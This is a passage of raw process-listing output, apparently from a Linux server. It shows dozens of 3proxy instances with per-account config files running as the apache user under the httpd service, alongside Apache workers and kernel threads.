/usr/local/3proxy-0.9.4/bin/3proxy /config/nanridao-6CCUUKND.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2701408 7388 00:07:57 11-19:38:25 15445 /usr/local/3proxy-0.9.4/bin/3proxy /config/ssarath4-EE1RFSOB.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 339092 14480 00:00:00 66-04:16:46 15626 /usr/sbin/httpd -DFOREGROUND\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 1717348 4560 00:51:58 94-08:00:18 15778 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdanaa-NNFTTDBT.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 9917848 16428 00:37:02 26-10:41:06 16027 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-BTG42PRO-VUHAQ4CQ.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12584592 14440 1-09:29:48 6-00:44:59 16077 /usr/local/3proxy-0.9.4/bin/3proxy /config/2bogdang-PBY9LEME.cfg\\n- root 0 0 00:00:00 52-19:48:47 16280 [kworker/8:0]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12549488 10344 00:22:37 47-21:03:21 16561 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-SLEATHEE-P5URGKWT.cfg\\n- root 0 0 00:00:00 49-15:48:47 16754 [kworker/13:2]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 7162480 12864 00:03:48 17-22:06:42 16877 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-CJ8V9HU7.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 5719192 10916 00:11:45 17-22:06:41 16917 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-CIOQ0EXU.cfg\\n- root 0 0 00:00:00 284-04:09:16 17188 [kworker/22:1H]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 7490500 6544 00:18:51 60-02:29:38 17422 /usr/local/3proxy-0.9.4/bin/3proxy /config/funnyuk0-O2ZQ4E1U.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 3751072 8700 00:02:12 10-09:39:50 17572 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-BTG42PRO-7993ZMBW.cfg\\n- root 0 0 00:01:55 64-16:18:16 17592 [kworker/8:1]\\n- root 0 0 00:00:00 16-23:48:47 17632 [kworker/5:1]\\n- root 0 0 00:03:23 178-04:55:48 17846 [kworker/12:0]\\n- root 0 0 00:00:00 1-23:48:47 17950 [kworker/19:1]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2570200 4188 00:12:06 98-17:51:19 18608 /usr/local/3proxy-0.9.4/bin/3proxy /config/thebeaut-0CFZL22C.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 8760 688 00:05:12 63-20:51:01 18829 /usr/local/3proxy-0.9.4/bin/3proxy /config/\\n- root 0 0 00:00:00 7-03:48:47 18953 [kworker/18:2]\\n- root 0 0 00:03:09 158-02:48:47 19145 [kworker/17:2]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12561796 12268 00:56:26 34-05:43:30 19598 /usr/local/3proxy-0.9.4/bin/3proxy /config/63961582-OHLA2N15.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2570200 6688 00:01:21 11-01:29:45 19653 /usr/local/3proxy-0.9.4/bin/3proxy /config/wjwlwjsd-HYMFTR1H.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 4407112 9124 00:04:56 17-22:05:45 19766 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-7YGF2XOW.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 5784796 11196 00:05:13 17-22:05:44 19801 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-QGIHVIQJ.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 208456 3420 00:01:12 7-20:31:45 20044 /usr/local/3proxy-0.9.4/bin/3proxy /config/terrymay-QNRSJSUS.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 77248 3376 00:00:20 3-00:18:19 20473 /usr/local/3proxy-0.9.4/bin/3proxy /config/tehcarna-V8UEBZWR.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 5194360 10276 00:13:26 63-16:28:15 20562 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-MBTHEEYE-O7QYSBW9.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 142852 3556 00:07:38 63-17:54:08 20793 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-CODYLOFT-YAPB8PT6.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 405268 3440 00:04:40 17-07:14:45 20873 /usr/local/3proxy-0.9.4/bin/3proxy /config/NevaVonp-7OIXEQC9.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 7228084 5408 00:04:51 27-06:57:17 21392 /usr/local/3proxy-0.9.4/bin/3proxy /config/mohammad-8S4MKNJY.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 8277748 15412 00:30:26 17-20:33:07 21411 /usr/local/3proxy-0.9.4/bin/3proxy /config/nsadik91-LELIQ5IT.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 340132 15408 00:00:00 12:08:36 21678 /usr/sbin/httpd -DFOREGROUND\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 339812 13740 00:00:00 12:08:35 21715 /usr/sbin/httpd -DFOREGROUND\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 7556104 6800 00:09:04 17-02:43:16 21793 /usr/local/3proxy-0.9.4/bin/3proxy /config/sumon036-E79935I3.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2373388 6472 00:00:20 2-19:54:46 21894 /usr/local/3proxy-0.9.4/bin/3proxy /config/ajdafran-AN8DWF3Q.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 3947884 4704 00:10:03 77-20:34:44 22378 /usr/local/3proxy-0.9.4/bin/3proxy /config/jameswes-E38YLZHD.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 4210300 8960 00:05:15 17-22:04:45 22485 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-VSYL474X.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 7096876 12724 00:02:53 17-22:04:45 22514 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-23AOGRTN.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 8474560 7084 00:12:42 31-04:05:15 22613 /usr/local/3proxy-0.9.4/bin/3proxy /config/imrankab-KQCKLORW.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 274060 3720 00:17:16 142-00:07:44 23035 /usr/local/3proxy-0.9.4/bin/3proxy /config/yukic355-AWCKNKTI.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 3947884 8052 00:08:24 21-00:39:45 23220 /usr/local/3proxy-0.9.4/bin/3proxy /config/bangdam2-QFC385KS.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 5784796 11180 00:01:01 2-01:05:49 23627 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-BTG42PRO-WW673YX6.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12572740 25600 04:04:11 57-03:58:56 23714 /usr/local/3proxy-0.9.4/bin/3proxy /config/sleathee-CGOKKNIV.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2767012 4224 00:08:21 66-18:43:45 23758 /usr/local/3proxy-0.9.4/bin/3proxy /config/jameswes-L3HTZ57D.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2832684 6860 00:04:44 23-07:02:45 23885 /usr/local/3proxy-0.9.4/bin/3proxy /config/wjwlwjsd-8GUH8YC2.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 3554260 3896 01:04:56 11-00:35:23 24009 /usr/local/3proxy-0.9.4/bin/3proxy /config/48531961-K3LI21MN.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 4735132 9636 00:08:05 41-15:55:45 24079 /usr/local/3proxy-0.9.4/bin/3proxy /config/ajdafran-O827S44C.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 339812 13764 00:00:00 02:48:05 24468 /usr/sbin/httpd -DFOREGROUND\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 6440836 5428 00:06:34 32-00:01:38 24893 /usr/local/3proxy-0.9.4/bin/3proxy /config/odesk071-QKFNZNUX.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12543844 25832 01:37:10 49-01:37:07 25024 /usr/local/3proxy-0.9.4/bin/3proxy /config/mithunba-K83V1K6H.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 10311472 15228 01:05:26 8-00:52:46 25109 /usr/local/3proxy-0.9.4/bin/3proxy /config/parthiec-0Z8P5V0H.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 339812 13772 00:00:00 2-14:45:49 25264 /usr/sbin/httpd -DFOREGROUND\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 7096876 12636 00:02:43 17-22:03:45 25449 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-IXL8ZDVL.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 3751072 8340 00:03:37 17-22:03:44 25480 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-Y8SNVKCQ.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 5259964 10396 00:06:56 17-22:03:44 25510 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-OM2UJDQ6.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 142852 3400 00:02:52 23-01:49:58 25518 /usr/local/3proxy-0.9.4/bin/3proxy /config/t1337dud-XWF3JM66.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 6900064 12632 00:08:57 35-06:16:38 25565 /usr/local/3proxy-0.9.4/bin/3proxy /config/sandym34-PRBNHE8F.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2701408 6796 00:58:28 18-18:55:09 25673 /usr/local/3proxy-0.9.4/bin/3proxy /config/ssarath4-OBS6Q994.cfg\\n- root 0 0 00:04:31 175-03:38:49 26002 [kworker/5:2]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 6506440 5172 00:05:06 16-02:45:39 26042 /usr/local/3proxy-0.9.4/bin/3proxy /config/monajkum-Y4SXOLC6.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 4472716 9364 00:03:45 18-23:33:59 26381 /usr/local/3proxy-0.9.4/bin/3proxy /config/fedewine-9I3QB580.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2701408 7064 00:04:07 31-01:58:45 26673 /usr/local/3proxy-0.9.4/bin/3proxy /config/socratou-X8DR61LP.cfg\\n- root 0 0 00:00:00 9-03:48:47 27011 [kworker/1:2]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 6900064 6252 00:00:28 22:59:17 27356 /usr/local/3proxy-0.9.4/bin/3proxy /config/sumon036-0NK0179Z.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 208456 3396 00:01:00 5-03:04:21 27590 /usr/local/3proxy-0.9.4/bin/3proxy /config/itsficho-MM3VJX9G.cfg\\n- root 0 0 00:03:50 134-22:39:27 27657 [kworker/6:2]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 4866340 9716 00:04:56 20-09:17:57 27842 /usr/local/3proxy-0.9.4/bin/3proxy /config/usamamaq-AXFEX9TY.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 77248 3372 00:00:01 03:15:51 27872 /usr/local/3proxy-0.9.4/bin/3proxy /config/aplecdag-WXEB7445.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12550644 33912 02:00:14 37-15:15:56 27922 /usr/local/3proxy-0.9.4/bin/3proxy /config/asadsaee-SWRSZRIX.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 864496 4296 00:24:21 109-20:24:32 27937 /usr/local/3proxy-0.9.4/bin/3proxy /config/alexndra-ADBQFT3Q.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 5325568 5224 00:00:58 7-02:24:26 27992 /usr/local/3proxy-0.9.4/bin/3proxy /config/amryasse-16I4R6K8.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 5981608 5340 00:18:23 98-21:59:10 28027 /usr/local/3proxy-0.9.4/bin/3proxy /config/odesk071-KXYUDMGK.cfg\\n- root 0 0 00:00:00 88-14:48:47 28283 [kworker/3:0]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 4931944 9728 00:05:03 17-22:02:45 28287 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-0SQJC17D.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2504596 4072 00:02:49 22-05:41:55 28299 /usr/local/3proxy-0.9.4/bin/3proxy /config/24634855-K5ZN8PLF.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 142852 3512 00:03:46 28-02:00:45 28491 /usr/local/3proxy-0.9.4/bin/3proxy /config/itai9564-TDFUOF5K.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 6637648 13040 10:03:23 40-20:23:14 28564 /usr/local/3proxy-0.9.4/bin/3proxy /config/jetatech-4A25HKHM.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 7884124 16392 00:19:48 16-18:04:54 28807 /usr/local/3proxy-0.9.4/bin/3proxy /config/maxmagal-T8C9YWSV.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 142852 3388 00:00:41 4-04:32:45 29659 /usr/local/3proxy-0.9.4/bin/3proxy /config/alexyour-CYE4VYQH.cfg\\n- root 0 0 00:00:00 20-21:48:47 29891 [kworker/7:0]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 1914160 3772 00:09:34 2-13:02:49 30339 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-VO7HO08C.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 5194360 9836 00:06:21 17-11:32:45 30504 /usr/local/3proxy-0.9.4/bin/3proxy /config/daovanqu-AUQ42DL4.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 3095032 7092 00:24:19 5-20:14:15 30715 /usr/local/3proxy-0.9.4/bin/3proxy /config/ssarath4-Y8UW3IT9.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 3029428 7292 00:02:49 17-22:01:45 30836 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-2OEBUR1T.cfg\\n- root 0 0 00:00:00 65-21:48:47 30893 [kworker/14:0]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 5784796 11024 00:05:25 17-22:01:43 30913 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-GVJ9H4MS.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12571384 52160 05:11:13 97-04:32:56 31112 /usr/local/3proxy-0.9.4/bin/3proxy /config/devheads-VCTNZAEZ.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 8474560 13496 00:14:31 13-03:00:44 31508 /usr/local/3proxy-0.9.4/bin/3proxy /config/lctbylcg-8EHTS5HA.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 3160636 7792 08:22:56 63-17:21:36 31651 /usr/local/3proxy-0.9.4/bin/3proxy /config/rsnvvqeh-1PZEPVMT.cfg\\n- root 0 0 00:00:00 36-03:45:47 31909 [kworker/16:2]\\n- root 0 0 00:00:00 60-12:48:47 31934 [kworker/15:2]\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 12553456 10468 1-03:08:55 18-02:48:09 32004 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-CHTHU3XZ.cfg\\n10:devices:/system.slice/httpd.service,9:cpuacct,cpu:/system.slice/httpd.service,7:blkio:/system.slice/httpd.service,5:pids:/system.slice/httpd.service,3:memory:/system.slice/httpd.service,1:name=systemd:/system.slice/httpd.service apache 2570200 4192 00:08:11 63-15:54:07 32043 /usr/local/3proxy-0.9.4/bin/3proxy 